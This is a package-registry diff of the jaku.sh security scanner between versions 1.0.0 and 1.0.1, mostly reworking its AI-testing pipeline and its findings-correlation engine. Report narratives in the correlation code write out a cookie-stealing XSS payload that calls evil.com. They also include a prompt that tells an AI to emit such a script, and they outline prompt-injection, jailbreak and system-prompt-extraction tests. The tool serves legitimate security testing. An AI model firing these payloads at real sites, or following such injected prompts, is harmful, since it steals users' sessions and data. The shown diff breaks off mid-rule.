jaku.sh 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (49) hide show
  1. package/README.md +1 -1
  2. package/action.yml +1 -1
  3. package/package.json +1 -2
  4. package/src/agents/ai-agent.js +5 -37
  5. package/src/agents/findings-ledger.js +239 -225
  6. package/src/agents/logic-agent.js +82 -36
  7. package/src/agents/orchestrator.js +1 -41
  8. package/src/agents/qa-agent.js +5 -38
  9. package/src/agents/security-agent.js +78 -43
  10. package/src/cli.js +18 -53
  11. package/src/core/ai/guardrail-prober.js +0 -92
  12. package/src/core/ai/prompt-injector.js +0 -81
  13. package/src/core/auth-manager.js +572 -53
  14. package/src/core/console-monitor.js +1 -5
  15. package/src/core/crawler.js +244 -227
  16. package/src/core/form-validator.js +2 -7
  17. package/src/core/logic/access-boundary-tester.js +10 -152
  18. package/src/core/logic/account-takeover-tester.js +260 -0
  19. package/src/core/logic/cart-manipulation-tester.js +200 -0
  20. package/src/core/logic/coupon-abuse-tester.js +138 -0
  21. package/src/core/logic/email-enumeration-tester.js +244 -0
  22. package/src/core/logic/feature-flag-bypass-tester.js +186 -0
  23. package/src/core/security/clickjacking-detector.js +164 -0
  24. package/src/core/security/cookie-auditor.js +185 -0
  25. package/src/core/security/csp-validator.js +268 -0
  26. package/src/core/security/csrf-detector.js +117 -0
  27. package/src/core/security/infra-scanner.js +9 -99
  28. package/src/core/security/open-redirect-detector.js +200 -0
  29. package/src/core/security/secret-detector.js +2 -124
  30. package/src/core/security/ssrf-prober.js +207 -0
  31. package/src/core/security/subdomain-scanner.js +314 -0
  32. package/src/core/security/xss-scanner.js +0 -30
  33. package/src/core/test-generator.js +21 -79
  34. package/src/core/test-runner.js +44 -122
  35. package/src/reporting/report-generator.js +7 -62
  36. package/src/reporting/sarif-generator.js +2 -2
  37. package/src/utils/config.js +45 -1
  38. package/src/core/accessibility-checker.js +0 -171
  39. package/src/core/ai/model-fingerprinter.js +0 -246
  40. package/src/core/ai/multi-turn-attacker.js +0 -297
  41. package/src/core/browser-manager.js +0 -119
  42. package/src/core/csr-waiter.js +0 -410
  43. package/src/core/logic/graphql-auditor.js +0 -298
  44. package/src/core/logic/parameter-polluter.js +0 -212
  45. package/src/core/performance-checker.js +0 -204
  46. package/src/core/security/cors-prober.js +0 -150
  47. package/src/core/security/csrf-prober.js +0 -217
  48. package/src/core/security/path-traversal.js +0 -112
  49. package/src/core/security/prototype-pollution.js +0 -147
package/README.md CHANGED
@@ -468,7 +468,7 @@ node src/cli.js ai https://myapp.dev/api/chat --max-pages 1 -v
468
468
  ```
469
469
  ╦╔═╗╦╔═╦ ╦
470
470
  ║╠═╣╠╩╗║ ║ 呪 Autonomous Security & Quality Intelligence
471
- ╚╝╩ ╩╩ ╩╚═╝ v1.0.0 · Multi-Agent
471
+ ╚╝╩ ╩╩ ╩╚═╝ v1.0.1 · Multi-Agent
472
472
 
473
473
  Target: https://your-app.dev
474
474
  Modules: QA + SECURITY + AI
package/action.yml CHANGED
@@ -217,7 +217,7 @@ runs:
217
217
  }
218
218
  }
219
219
 
220
- body += '\n---\n*Scanned by [JAKU](https://github.com/jaku-security/jaku) v1.0.0*';
220
+ body += '\n---\n*Scanned by [JAKU](https://github.com/jaku-security/jaku) v1.0.1*';
221
221
  } else {
222
222
  body += '⚠️ Scan completed but no report was generated. Check workflow logs for errors.';
223
223
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "jaku.sh",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "JAKU (呪) — Autonomous Security & Quality Intelligence Agent for vibe-coded apps. XSS, SQLi, prompt injection, QA testing, and attack chain correlation in one command.",
5
5
  "type": "module",
6
6
  "main": "src/cli.js",
@@ -55,7 +55,6 @@
55
55
  "commander": "^12.1.0",
56
56
  "nanoid": "^5.0.9",
57
57
  "ora": "^8.1.1",
58
- "p-limit": "^7.3.0",
59
58
  "playwright": "^1.49.1",
60
59
  "winston": "^3.17.0"
61
60
  }
@@ -7,23 +7,19 @@ import { OutputAnalyzer } from '../core/ai/output-analyzer.js';
7
7
  import { GuardrailProber } from '../core/ai/guardrail-prober.js';
8
8
  import { ModelDoSTester } from '../core/ai/model-dos-tester.js';
9
9
  import { IndirectInjector } from '../core/ai/indirect-injector.js';
10
- import { MultiTurnAttacker } from '../core/ai/multi-turn-attacker.js';
11
- import { ModelFingerprinter } from '../core/ai/model-fingerprinter.js';
12
10
 
13
11
  /**
14
12
  * JAKU-AI — Prompt Injection & AI Abuse Detection Agent
15
13
  *
16
14
  * Pipeline:
17
15
  * 1. Detect AI endpoints (auto-discovery from surface inventory)
18
- * 2. Prompt Injection testing (many-shot, encoding, delimiter, context flood, RAG, CoT)
19
- * 3. Jailbreak testing (DAN, AIM, model-specific token attacks, persona anchoring)
16
+ * 2. Prompt Injection testing (24 payloads)
17
+ * 3. Jailbreak testing (16 techniques)
20
18
  * 4. System Prompt Extraction (17 techniques)
21
- * 5. Output Analysis (AI-mediated XSS, markdown rendering attacks)
22
- * 6. Guardrail Probing (PII, agency, tool abuse, SSRF, agentic tool injection)
19
+ * 5. Output Analysis (AI-mediated XSS)
20
+ * 6. Guardrail Probing (PII, agency, tool abuse)
23
21
  * 7. Model DoS Testing (context bombing, token loops)
24
22
  * 8. Indirect Injection Testing (6 embedded payloads)
25
- * 9. Multi-Turn Attack Testing (trust escalation, context drift, memory poisoning)
26
- * 10. Model Fingerprinting + Model-Specific Exploits
27
23
  *
28
24
  * Dependencies: JAKU-CRAWL (runs in Wave 2, parallel with QA + SEC)
29
25
  */
@@ -138,35 +134,7 @@ export class AIAgent extends BaseAgent {
138
134
  } catch (err) {
139
135
  this._log(`Indirect injection testing failed: ${err.message}`, 'error');
140
136
  }
141
- this.progress('indirect', 'Indirect injection testing complete', 95);
142
-
143
- // Phase 9: Multi-Turn Attack Testing
144
- this.progress('multiturn', 'Running multi-turn attack scenarios...', 95);
145
- try {
146
- const injector = new PromptInjector(logger);
147
- const sendMsg = injector._sendMessage.bind(injector);
148
- const multiTurnAttacker = new MultiTurnAttacker(logger);
149
- const multiTurnFindings = await multiTurnAttacker.test(aiSurfaces, sendMsg);
150
- this.addFindings(multiTurnFindings);
151
- this._log(`Multi-turn attacks: ${multiTurnFindings.length} vulnerabilities`);
152
- } catch (err) {
153
- this._log(`Multi-turn testing failed: ${err.message}`, 'error');
154
- }
155
- this.progress('multiturn', 'Multi-turn attack testing complete', 97);
156
-
157
- // Phase 10: Model Fingerprinting + Model-Specific Exploits
158
- this.progress('fingerprint', 'Fingerprinting model and running model-specific attacks...', 97);
159
- try {
160
- const injector2 = new PromptInjector(logger);
161
- const sendMsg2 = injector2._sendMessage.bind(injector2);
162
- const fingerprinter = new ModelFingerprinter(logger);
163
- const fingerprintFindings = await fingerprinter.test(aiSurfaces, sendMsg2);
164
- this.addFindings(fingerprintFindings);
165
- this._log(`Model fingerprinting: ${fingerprintFindings.length} findings`);
166
- } catch (err) {
167
- this._log(`Model fingerprinting failed: ${err.message}`, 'error');
168
- }
169
- this.progress('fingerprint', 'Model fingerprinting complete', 100);
137
+ this.progress('indirect', 'Indirect injection testing complete', 100);
170
138
 
171
139
  this.progress('complete', `AI scan complete — ${this._findings.length} total findings`, 100);
172
140
  }
@@ -151,241 +151,255 @@ export class FindingsLedger {
151
151
  get count() { return this._findings.length; }
152
152
 
153
153
  // ═══════════════════════════════════════════════
154
- // Fix 6: Structured Correlation Engine
154
+ // Enhanced Correlation Engine
155
155
  // ═══════════════════════════════════════════════
156
156
 
157
157
  /**
158
- * Classify a finding into a semantic type for structured correlation.
159
- * Uses normalized title + module NOT raw regex on potentially adversarial strings.
160
- */
161
- _classifyFinding(finding) {
162
- const norm = this._normalizeTitle(finding.title).toLowerCase();
163
- const mod = finding.module?.toLowerCase() || '';
164
-
165
- // Security header categories
166
- if (/content.security.policy|csp/.test(norm)) return 'csp_missing';
167
- if (/httponly|samesite|secure.*cookie|cookie.*secure/.test(norm)) return 'insecure_cookie';
168
- if (/hsts|http.*not.*redirect|strict.transport/.test(norm)) return 'hsts_missing';
169
- if (/x.frame.options|clickjack/.test(norm)) return 'xframe_missing';
170
- if (/missing.*header|no.*header|security.*header/.test(norm)) return 'missing_header';
171
- if (/cors.*origin|cors.*credential|cors.*null|cors/.test(norm)) return 'cors_misconfigured';
172
- if (/tls|ssl|weak.*cipher/.test(norm)) return 'tls_weak';
173
-
174
- // Injection
175
- if (/xss|cross.site.script/.test(norm)) return 'xss';
176
- if (/sql.inject|sql.*vulnerab/.test(norm)) return 'sql_injection';
177
- if (/prompt.inject/.test(norm)) return 'prompt_injection';
178
- if (/html.inject|template.inject/.test(norm)) return 'html_injection';
179
-
180
- // AI
181
- if (/system.prompt.extract|system.prompt.leak/.test(norm)) return 'system_prompt_leak';
182
- if (/jailbreak/.test(norm)) return 'jailbreak';
183
- if (/guardrail/.test(norm)) return 'guardrail_bypass';
184
- if (/excessive.agency/.test(norm)) return 'excessive_agency';
185
- if (/ai.*xss|unsaniti.*output|ai.*inject.*output/.test(norm)) return 'ai_mediated_xss';
186
-
187
- // Access control
188
- if (/idor|direct.object/.test(norm)) return 'idor';
189
- if (/missing.*auth|guest.*access|vertical.*escalat/.test(norm)) return 'broken_auth';
190
- if (/jwt.*none|jwt.*alg|jwt.*sign|jwt.*bypass/.test(norm)) return 'jwt_bypass';
191
- if (/csrf/.test(norm)) return 'csrf_missing';
192
- if (/race.condition/.test(norm)) return 'race_condition';
193
-
194
- // Exposure
195
- if (/secret|api.key|token.*expos/.test(norm) && mod === 'security') return 'secret_exposure';
196
- if (/admin|debug|management.*endpoint/.test(norm)) return 'admin_exposed';
197
- if (/error.*disclos|verbose.*error|information.*disclos/.test(norm)) return 'error_disclosure';
198
-
199
- // Business logic
200
- if (/pricing.manipulat|price.*tamper/.test(norm)) return 'pricing_manipulation';
201
- if (/graphql.*introspect/.test(norm)) return 'graphql_introspection';
202
- if (/rate.limit/.test(norm)) return 'no_rate_limit';
203
-
204
- return null; // Unknown type — not used in correlation
205
- }
206
-
207
- /**
208
- * Correlate findings into attack chain narratives using structured type-pair rules.
158
+ * Correlate findings into attack chain narratives.
159
+ * Each correlation explains WHY findings are exploitable when combined.
209
160
  */
210
161
  correlate() {
211
162
  const correlations = [];
212
163
  const f = this._findings;
164
+ const has = (pattern) => f.filter(x => pattern.test(x.title.toLowerCase()));
165
+ const any = (pattern) => has(pattern).length > 0;
213
166
 
214
- // Build a map of type [findings]
215
- const byType = new Map();
216
- for (const finding of f) {
217
- const type = this._classifyFinding(finding);
218
- if (!type) continue;
219
- if (!byType.has(type)) byType.set(type, []);
220
- byType.get(type).push(finding);
221
- }
167
+ // ── XSS + Missing CSP + Cookie Issues ──
168
+ if (any(/xss/) && any(/content-security-policy|csp/)) {
169
+ const xssFindings = has(/xss/);
170
+ const cspFindings = has(/content-security-policy|csp/);
171
+ const surfaces = xssFindings.map(x => x.affected_surface).join(', ');
172
+
173
+ let narrative = `Reflected/stored XSS on ${surfaces} is fully exploitable because Content-Security-Policy is missing — no script-src restriction prevents injected JavaScript from executing.`;
222
174
 
223
- const has = (type) => byType.has(type) && byType.get(type).length > 0;
224
- const get = (type) => byType.get(type) || [];
225
- const ids = (...types) => types.flatMap(t => get(t).map(x => x.id));
226
-
227
- // ── Structured correlation rules ──
228
- const rules = [
229
- {
230
- condition: () => has('xss') && has('csp_missing'),
231
- build: () => {
232
- const surfaces = [...new Set(get('xss').map(x => x.affected_surface))].join(', ');
233
- const cookieNote = has('insecure_cookie') ? ` Session cookies also lack HttpOnly, enabling session theft via document.cookie.` : '';
234
- return {
235
- type: 'attack_chain', severity: 'critical',
236
- title: 'Exploitable XSS → Session Hijacking',
237
- narrative: `Reflected/stored XSS on ${surfaces} is fully exploitable because Content-Security-Policy is absent — no script-src restriction prevents injected JavaScript from executing.${cookieNote} Working attack: an attacker injects <script>fetch('https://evil.com/'+document.cookie)</script> to exfiltrate session tokens.`,
238
- findings: ids('xss', 'csp_missing', 'insecure_cookie'),
239
- exploitation: 'Confirmed — XSS executes without CSP restriction',
240
- };
241
- },
242
- },
243
- {
244
- condition: () => has('sql_injection') && has('error_disclosure'),
245
- build: () => ({
246
- type: 'attack_chain', severity: 'critical',
247
- title: 'SQL Injection + Error Disclosure → Data Exfiltration',
248
- narrative: `SQL injection is aided by verbose error messages that reveal database engine and table structure. An attacker can use error-based extraction (UNION SELECT, extractvalue) to dump database contents.`,
249
- findings: ids('sql_injection', 'error_disclosure'),
250
- exploitation: 'Error messages reveal DB version and schema, enabling targeted payloads',
251
- }),
252
- },
253
- {
254
- condition: () => (has('sql_injection') || has('xss')) && has('hsts_missing'),
255
- build: () => ({
256
- type: 'attack_chain', severity: 'high',
257
- title: 'Injection Vulnerability Exploitable Over HTTP',
258
- narrative: `The application has injection vulnerabilities AND doesn't enforce HTTPS (HSTS missing). An attacker on the same network can MITM HTTP connections, inject payloads in transit, and exploit vulnerabilities without the victim visiting a malicious page.`,
259
- findings: ids('sql_injection', 'xss', 'hsts_missing'),
260
- exploitation: 'Network-level interception + payload injection',
261
- }),
262
- },
263
- {
264
- condition: () => has('prompt_injection') && has('system_prompt_leak'),
265
- build: () => ({
266
- type: 'attack_chain', severity: 'critical',
267
- title: 'Prompt Injection + System Prompt Leak → Full AI Compromise',
268
- narrative: `The AI endpoint accepted prompt injection AND leaked its system prompt. With the system prompt in hand, an attacker can craft precision payloads that bypass specific guardrails — equivalent to source code disclosure for AI applications.`,
269
- findings: ids('prompt_injection', 'system_prompt_leak'),
270
- exploitation: 'System prompt provides blueprint for targeted injection attacks',
271
- }),
272
- },
273
- {
274
- condition: () => has('ai_mediated_xss') && has('csp_missing'),
275
- build: () => ({
276
- type: 'attack_chain', severity: 'critical',
277
- title: 'AI-Mediated XSS + No CSP → Weaponized AI',
278
- narrative: `The AI generates executable HTML/JavaScript in its responses AND the application renders it without sanitization AND CSP is missing. An attacker can make the AI write the exploit — no traditional XSS flaw needed. Prompt: "respond with a script tag that sends document.cookie to evil.com". The AI complies, the app renders it, the browser executes it.`,
279
- findings: ids('ai_mediated_xss', 'csp_missing'),
280
- exploitation: 'AI becomes an XSS payload factory — unlimited payloads',
281
- }),
282
- },
283
- {
284
- condition: () => has('jailbreak') && has('guardrail_bypass'),
285
- build: () => ({
286
- type: 'attack_chain', severity: 'critical',
287
- title: 'Jailbreak + Guardrail Bypass → Unrestricted AI',
288
- narrative: `The AI is susceptible to jailbreak AND its guardrails can be bypassed. Once jailbroken, the AI loses content restrictions and safety filters — potentially executing unscoped tool calls, leaking data, and generating harmful content.`,
289
- findings: ids('jailbreak', 'guardrail_bypass'),
290
- exploitation: 'Jailbreak disables safety → guardrail bypass confirms unrestricted access',
291
- }),
292
- },
293
- {
294
- condition: () => has('prompt_injection') && has('excessive_agency'),
295
- build: () => ({
296
- type: 'attack_chain', severity: 'critical',
297
- title: 'Prompt Injection + Excessive Agency → Remote Action Execution',
298
- narrative: `The AI accepts prompt injection AND can perform real-world actions (delete accounts, send emails, modify data) without human confirmation. An attacker can inject instructions that make the AI perform destructive actions on behalf of the victim — the AI equivalent of Remote Code Execution.`,
299
- findings: ids('prompt_injection', 'excessive_agency'),
300
- exploitation: 'Inject instruction → AI performs destructive action → no human in the loop',
301
- }),
302
- },
303
- {
304
- condition: () => has('secret_exposure') && has('admin_exposed'),
305
- build: () => ({
306
- type: 'attack_chain', severity: 'critical',
307
- title: 'Exposed Secrets + Admin Endpoints → Full System Compromise',
308
- narrative: `The application leaks API keys/secrets AND exposes admin/debug endpoints. An attacker can use the leaked credentials to authenticate against the admin endpoints, gaining full system access without brute-forcing.`,
309
- findings: ids('secret_exposure', 'admin_exposed'),
310
- exploitation: 'Leaked API key → authenticate to admin panel → full control',
311
- }),
312
- },
313
- {
314
- condition: () => get('missing_header').length >= 3,
315
- build: () => ({
316
- type: 'defense_gap', severity: 'high',
317
- title: 'Multiple Missing Security Headers → Defense Failure',
318
- narrative: `${get('missing_header').length} security headers are missing. Together, they indicate the application has NO security hardening at the HTTP layer — every vulnerability is exploitable at maximum severity.`,
319
- findings: ids('missing_header'),
320
- exploitation: 'No defense in depth — every vulnerability is exploitable at maximum severity',
321
- }),
322
- },
323
- {
324
- condition: () => has('race_condition') && has('csrf_missing'),
325
- build: () => ({
326
- type: 'attack_chain', severity: 'critical',
327
- title: 'Race Condition + Weak CSRF → Double Spend',
328
- narrative: `Race conditions exist on state-changing endpoints AND CSRF protections are missing. An attacker can craft a page that fires concurrent requests from the victim's browser, triggering double payments, duplicate orders, or overdrawn balances.`,
329
- findings: ids('race_condition', 'csrf_missing'),
330
- exploitation: 'Attacker page fires concurrent authenticated requests → double spend',
331
- }),
332
- },
333
- {
334
- condition: () => has('idor') && has('broken_auth'),
335
- build: () => ({
336
- type: 'attack_chain', severity: 'critical',
337
- title: 'IDOR + Broken Access Control → Full Data Breach',
338
- narrative: `Insecure direct object references exist AND access controls are broken. An attacker can enumerate resource IDs without authentication to systematically exfiltrate all user data, orders, and records from the application.`,
339
- findings: ids('idor', 'broken_auth'),
340
- exploitation: 'Enumerate IDs without auth → dump entire database via API',
341
- }),
342
- },
343
- {
344
- condition: () => has('pricing_manipulation') && has('admin_exposed'),
345
- build: () => ({
346
- type: 'attack_chain', severity: 'critical',
347
- title: 'Pricing Manipulation + Admin Access → Financial Loss',
348
- narrative: `The application accepts manipulated prices AND admin panels are exposed. An attacker can use admin access to create discounts, modify prices, or process fraudulent refunds at scale.`,
349
- findings: ids('pricing_manipulation', 'admin_exposed'),
350
- exploitation: 'Admin access → create 100% discount coupons → purchase at $0',
351
- }),
352
- },
353
- {
354
- condition: () => has('jwt_bypass') && has('hsts_missing'),
355
- build: () => ({
356
- type: 'attack_chain', severity: 'critical',
357
- title: 'JWT Algorithm Bypass + Weak Transport → Full Token Theft',
358
- narrative: `JWT signatures can be bypassed (alg:none) AND transport security is weak. An attacker on the same network can intercept traffic, steal the JWT, forge one with elevated privileges, and gain full access — without knowing the signing key.`,
359
- findings: ids('jwt_bypass', 'hsts_missing'),
360
- exploitation: 'MITM intercept JWT → forge token with alg:none → admin access',
361
- }),
362
- },
363
- {
364
- condition: () => has('cors_misconfigured') && has('xss'),
365
- build: () => ({
366
- type: 'attack_chain', severity: 'critical',
367
- title: 'CORS Misconfiguration + XSS → Cross-Origin Data Theft',
368
- narrative: `CORS policy allows arbitrary origins AND XSS vulnerabilities exist. An attacker can use XSS to make authenticated cross-origin requests from the victim's browser, reading API responses containing sensitive data.`,
369
- findings: ids('cors_misconfigured', 'xss'),
370
- exploitation: 'XSS payload reads API data → CORS allows cross-origin response → data exfiltrated',
371
- }),
372
- },
373
- {
374
- condition: () => has('graphql_introspection') && (has('broken_auth') || has('no_rate_limit')),
375
- build: () => ({
376
- type: 'attack_chain', severity: 'critical',
377
- title: 'GraphQL Introspection + Auth Bypass → Full API Compromise',
378
- narrative: `GraphQL introspection exposes the entire API schema AND authentication can be bypassed. An attacker can enumerate all queries and mutations via introspection, then execute them without authentication.`,
379
- findings: ids('graphql_introspection', 'broken_auth', 'no_rate_limit'),
380
- exploitation: 'Introspection maps schema → bypass auth → execute mutations → full data access',
381
- }),
382
- },
383
- ];
384
-
385
- for (const rule of rules) {
386
- if (rule.condition()) {
387
- correlations.push(rule.build());
175
+ const noHttpOnly = any(/httponly|cookie/);
176
+ if (noHttpOnly) {
177
+ narrative += ` Session cookies also lack HttpOnly, enabling session theft via document.cookie.`;
388
178
  }
179
+
180
+ narrative += ` Working attack: an attacker injects <script>fetch('https://evil.com/'+document.cookie)</script> to exfiltrate session tokens.`;
181
+
182
+ correlations.push({
183
+ type: 'attack_chain',
184
+ severity: 'critical',
185
+ title: 'Exploitable XSS → Session Hijacking',
186
+ narrative,
187
+ findings: [...xssFindings, ...cspFindings].map(x => x.id),
188
+ exploitation: 'Confirmed — XSS executes without CSP restriction',
189
+ });
190
+ }
191
+
192
+ // ── SQLi + Error Disclosure ──
193
+ if (any(/sql injection/) && any(/error.*disclosure|verbose.*error|information.*disclosure/)) {
194
+ const sqliFindings = has(/sql injection/);
195
+ const errorFindings = has(/error.*disclosure|verbose.*error|information.*disclosure/);
196
+ const surfaces = sqliFindings.map(x => x.affected_surface).join(', ');
197
+
198
+ correlations.push({
199
+ type: 'attack_chain',
200
+ severity: 'critical',
201
+ title: 'SQL Injection + Error Disclosure → Data Exfiltration',
202
+ narrative: `SQL injection on ${surfaces} is aided by verbose error messages that reveal database engine and table structure. An attacker can use error-based extraction (UNION SELECT, extractvalue) to dump database contents. The error messages provide the exact syntax needed to craft working payloads.`,
203
+ findings: [...sqliFindings, ...errorFindings].map(x => x.id),
204
+ exploitation: 'Error messages reveal MySQL/PostgreSQL version and table schema',
205
+ });
206
+ }
207
+
208
+ // ── SQLi/XSS + Missing HSTS ──
209
+ if ((any(/sql injection/) || any(/xss/)) && any(/hsts|http.*not.*redirect/)) {
210
+ const vulnFindings = [...has(/sql injection/), ...has(/xss/)];
211
+ const httpsFindings = has(/hsts|http.*not.*redirect/);
212
+
213
+ correlations.push({
214
+ type: 'attack_chain',
215
+ severity: 'high',
216
+ title: 'Injection Vulnerability Exploitable Over Unencrypted HTTP',
217
+ narrative: `The application has injection vulnerabilities AND doesn't enforce HTTPS (HSTS missing, HTTP doesn't redirect). An attacker on the same network can MITM the HTTP connection, inject payloads in transit, and exploit the vulnerabilities without the user visiting a malicious page.`,
218
+ findings: [...vulnFindings, ...httpsFindings].map(x => x.id),
219
+ exploitation: 'Network-level interception + injection',
220
+ });
221
+ }
222
+
223
+ // ── Prompt Injection + System Prompt Extracted ──
224
+ if (any(/prompt injection/) && any(/system prompt extracted/)) {
225
+ const injectionFindings = has(/prompt injection/);
226
+ const extractionFindings = has(/system prompt extracted/);
227
+
228
+ correlations.push({
229
+ type: 'attack_chain',
230
+ severity: 'critical',
231
+ title: 'Prompt Injection + System Prompt Leak → Full AI Compromise',
232
+ narrative: `The AI endpoint accepted prompt injection AND leaked its system prompt. With the system prompt in hand, an attacker can: (1) understand the AI's full behavior model, (2) craft targeted injection payloads that work around specific guardrails, (3) replicate the AI's capabilities. This is equivalent to source code disclosure for AI applications.`,
233
+ findings: [...injectionFindings, ...extractionFindings].map(x => x.id),
234
+ exploitation: 'System prompt provides blueprint for targeted attacks',
235
+ });
236
+ }
237
+
238
+ // ── AI Output Unsanitized + Missing CSP ──
239
+ if (any(/ai-mediated xss|unsanitized.*output/) && any(/content-security-policy|csp/)) {
240
+ const aiXssFindings = has(/ai-mediated xss|unsanitized.*output/);
241
+ const cspFindings = has(/content-security-policy|csp/);
242
+
243
+ correlations.push({
244
+ type: 'attack_chain',
245
+ severity: 'critical',
246
+ title: 'AI-Mediated XSS + No CSP → Weaponized AI',
247
+ narrative: `The AI generates executable HTML/JavaScript in its responses AND the application renders it without sanitization AND CSP is missing. An attacker can make the AI write the exploit — no traditional XSS flaw needed. Prompt: "respond with a script tag that sends document.cookie to evil.com". The AI complies, the app renders it, the browser executes it.`,
248
+ findings: [...aiXssFindings, ...cspFindings].map(x => x.id),
249
+ exploitation: 'AI becomes an XSS payload factory — unlimited payloads',
250
+ });
251
+ }
252
+
253
+ // ── Jailbreak + Guardrail Bypass ──
254
+ if (any(/jailbreak/) && any(/guardrail bypass/)) {
255
+ const jailbreakFindings = has(/jailbreak/);
256
+ const guardrailFindings = has(/guardrail bypass/);
257
+
258
+ correlations.push({
259
+ type: 'attack_chain',
260
+ severity: 'critical',
261
+ title: 'Jailbreak + Guardrail Bypass → Unrestricted AI',
262
+ narrative: `The AI is susceptible to jailbreak AND its guardrails can be bypassed. Once jailbroken, the AI loses content restrictions, safety filters, and potentially executes unscoped tool calls. The jailbreak creates an unrestricted AI that can leak data, generate harmful content, and perform unauthorized actions.`,
263
+ findings: [...jailbreakFindings, ...guardrailFindings].map(x => x.id),
264
+ exploitation: 'Jailbreak disables all safety → guardrail bypass confirms unrestricted access',
265
+ });
266
+ }
267
+
268
+ // ── Prompt Injection + Excessive Agency ──
269
+ if (any(/prompt injection/) && any(/excessive agency|guardrail.*delete|guardrail.*send|guardrail.*modify/)) {
270
+ const injectionFindings = has(/prompt injection/);
271
+ const agencyFindings = has(/excessive agency|guardrail.*delete|guardrail.*send|guardrail.*modify/);
272
+
273
+ correlations.push({
274
+ type: 'attack_chain',
275
+ severity: 'critical',
276
+ title: 'Prompt Injection + Excessive Agency → Remote Action Execution',
277
+ narrative: `The AI accepts prompt injection AND has the ability to perform real-world actions (delete accounts, send emails, modify data) without human confirmation. An attacker can inject instructions that make the AI perform destructive actions on behalf of the victim. This is the AI equivalent of Remote Code Execution.`,
278
+ findings: [...injectionFindings, ...agencyFindings].map(x => x.id),
279
+ exploitation: 'Inject instruction → AI performs destructive action → no human in the loop',
280
+ });
281
+ }
282
+
283
+ // ── Secret Exposure + Infrastructure Exposure ──
284
+ if (any(/secret|api key|token.*exposed/) && any(/admin|debug|management.*endpoint/)) {
285
+ const secretFindings = has(/secret|api key|token.*exposed/);
286
+ const infraFindings = has(/admin|debug|management.*endpoint/);
287
+
288
+ correlations.push({
289
+ type: 'attack_chain',
290
+ severity: 'critical',
291
+ title: 'Exposed Secrets + Admin Endpoints → Full System Compromise',
292
+ narrative: `The application leaks API keys/secrets AND exposes admin/debug endpoints. An attacker can use the leaked credentials to authenticate against the admin endpoints, gaining full system access without any credential brute-forcing.`,
293
+ findings: [...secretFindings, ...infraFindings].map(x => x.id),
294
+ exploitation: 'Leaked API key → authenticate to admin panel → full control',
295
+ });
296
+ }
297
+
298
+ // ── Missing Headers Compound ──
299
+ const missingHeaders = has(/missing.*header|no.*header/);
300
+ if (missingHeaders.length >= 3) {
301
+ correlations.push({
302
+ type: 'defense_gap',
303
+ severity: 'high',
304
+ title: 'Multiple Missing Security Headers → Defense in Depth Failure',
305
+ narrative: `${missingHeaders.length} security headers are missing. Each missing header removes a layer of defense. Together, they indicate the application has NO security hardening at the HTTP layer — it is running with default, insecure configuration. This makes every other vulnerability easier to exploit.`,
306
+ findings: missingHeaders.map(x => x.id),
307
+ exploitation: 'No defense in depth — every vulnerability is exploitable at maximum severity',
308
+ });
309
+ }
310
+
311
+ // ── Business Logic Correlations ──
312
+
313
+ // Race Condition + No CSRF Protection
314
+ if (any(/race condition/) && any(/csrf|x-frame|missing.*header/)) {
315
+ const raceFindings = has(/race condition/);
316
+ const csrfFindings = has(/csrf|x-frame|missing.*header/);
317
+
318
+ correlations.push({
319
+ type: 'attack_chain',
320
+ severity: 'critical',
321
+ title: 'Race Condition + Weak CSRF → Double Spend',
322
+ narrative: `Race conditions exist on state-changing endpoints AND CSRF protections are missing. An attacker can craft a page that fires concurrent requests from the victim's browser, triggering double payments, duplicate orders, or overdrawn balances — all authenticated as the victim.`,
323
+ findings: [...raceFindings, ...csrfFindings].map(x => x.id),
324
+ exploitation: 'Attacker page fires concurrent authenticated requests → double spend',
325
+ });
326
+ }
327
+
328
+ // IDOR + Missing Auth Headers
329
+ if (any(/idor|direct object/) && any(/missing.*auth|guest.*access|vertical.*escalation/)) {
330
+ const idorFindings = has(/idor|direct object/);
331
+ const authFindings = has(/missing.*auth|guest.*access|vertical.*escalation/);
332
+
333
+ correlations.push({
334
+ type: 'attack_chain',
335
+ severity: 'critical',
336
+ title: 'IDOR + Broken Access Control → Full Data Breach',
337
+ narrative: `Insecure direct object references exist AND access controls are broken. An attacker can enumerate resource IDs without authentication to systematically exfiltrate all user data, orders, and records from the application.`,
338
+ findings: [...idorFindings, ...authFindings].map(x => x.id),
339
+ exploitation: 'Enumerate IDs without auth → dump entire database via API',
340
+ });
341
+ }
342
+
343
+ // Pricing Manipulation + Admin Exposure
344
+ if (any(/pricing manipulation|price.*tamper/) && any(/admin.*accessible|vertical.*escalation/)) {
345
+ const pricingFindings = has(/pricing manipulation|price.*tamper/);
346
+ const adminFindings = has(/admin.*accessible|vertical.*escalation/);
347
+
348
+ correlations.push({
349
+ type: 'attack_chain',
350
+ severity: 'critical',
351
+ title: 'Pricing Manipulation + Admin Access → Financial Loss',
352
+ narrative: `The application accepts manipulated prices/quantities AND admin panels are exposed. An attacker can use admin access to create discounts, modify prices, or process fraudulent refunds at scale — resulting in direct financial loss.`,
353
+ findings: [...pricingFindings, ...adminFindings].map(x => x.id),
354
+ exploitation: 'Admin access → create 100% discount coupons → purchase at $0',
355
+ });
356
+ }
357
+
358
+ // ── API & Auth Correlations ──
359
+
360
+ // JWT alg:none + Missing HSTS
361
+ if (any(/jwt.*none|jwt.*signature/) && any(/hsts|missing.*header|tls/)) {
362
+ const jwtFindings = has(/jwt.*none|jwt.*signature/);
363
+ const tlsFindings = has(/hsts|missing.*header|tls/);
364
+
365
+ correlations.push({
366
+ type: 'attack_chain',
367
+ severity: 'critical',
368
+ title: 'JWT Algorithm Bypass + Weak Transport → Full Token Theft',
369
+ narrative: `JWT signatures can be bypassed (alg:none) AND transport security is weak (missing HSTS or TLS issues). An attacker on the same network can intercept traffic, steal the JWT, forge a new one with elevated privileges, and gain full access — all without knowing the signing key.`,
370
+ findings: [...jwtFindings, ...tlsFindings].map(x => x.id),
371
+ exploitation: 'MITM intercept JWT → forge token with alg:none → admin access',
372
+ });
373
+ }
374
+
375
+ // CORS Misconfiguration + XSS
376
+ if (any(/cors.*origin|cors.*credential|cors.*null/) && any(/xss|cross.site.script/)) {
377
+ const corsFindings = has(/cors.*origin|cors.*credential|cors.*null/);
378
+ const xssFindings = has(/xss|cross.site.script/);
379
+
380
+ correlations.push({
381
+ type: 'attack_chain',
382
+ severity: 'critical',
383
